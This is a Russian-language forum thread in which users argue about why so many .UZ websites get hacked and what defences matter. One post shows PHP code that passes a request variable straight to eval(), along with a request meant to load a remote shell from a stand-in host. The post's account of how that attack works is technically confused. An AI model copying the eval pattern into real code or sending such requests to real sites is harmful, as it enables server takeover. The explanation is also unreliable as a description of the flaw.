Взломы в зоне .UZ

[Dolphin]

Сообщение от CTAPu4OK

В зоне Уз более 50% сайтов подверженные атаке... и кто в этом виноват ? программисты.. которые не знают все уловки и не могут мыслить как хакеры.

Вообще-то подавляющее большинство сайтов в зоне uz работают на разнообразных CMS, вордпрессах, джумлах и подобных вещах - а эксплоиты, юзающие их ошибки - не редкость. Как-раз таки простенький самописный движок сложней поломать - непопулярен его исходный код, и в нем нет лишних функций. У многих в админке хостера вообще пароли простые.

Сообщение от CTAPu4OK

Мое мнение... в сети Уз должен быть хоть один сайт про Хакинг...

Зачем? Он не сразу догонит ресурсы по секьюрити в зоне ru и тем более, в доткоме, соответственно, загнется. Было дело.

Сообщение от CTAPu4OK

я могу сейчас написать простейший уязвимый скрипт и привести пример что в начале нужно понять логику хакеров а потом уже защищать программы...

Этим вы приведете пример своего незнания языка. Логика хакеров (тем более "кулхацкеров", качающих с ксакепа эксплоиты) тут ни при чем. Вначале нужно понять конструкцию и логику вебсервера и запомнить элементарные, но надежные методы защиты от SQL-иньекций. В 98% случаев этого вполне достаточно.

[CTAPu4OK]

Сообщение от Timur Rasulov

Этим вы приведете пример своего незнания языка. Логика хакеров (тем более "кулхацкеров", качающих с ксакепа эксплоиты) тут ни при чем. Вначале нужно понять конструкцию и логику вебсервера и запомнить элементарные, но надежные методы защиты от SQL-иньекций. В 98% случаев этого вполне достаточно.

С чего вы взяли что если я приведу пример то покажу всем свою безграмотность в PHP ?
Один раз ко мне постучался знакомый, PHP занимается 3 года, попросил нарисовать и сверстать шаблон под главную...
Но как только я глянул в код, я ахнул!!!!

он решил засунуть переменную под евал

PHP код:

<?
eval($test);
?>

Один запрос
http://test.ru/index.php?test=http://xak/shell.php
Вот вам и самописные двиги которые трудно ломать =D

А на счет что если закрыть SQL Inj и все беды решены вы очень сильно заблуждаетесь....
SQL INJ
PHP INJ
XSS все виды
Не защищеные поля веб форм
Раскрытие путей
и прочии ошибки...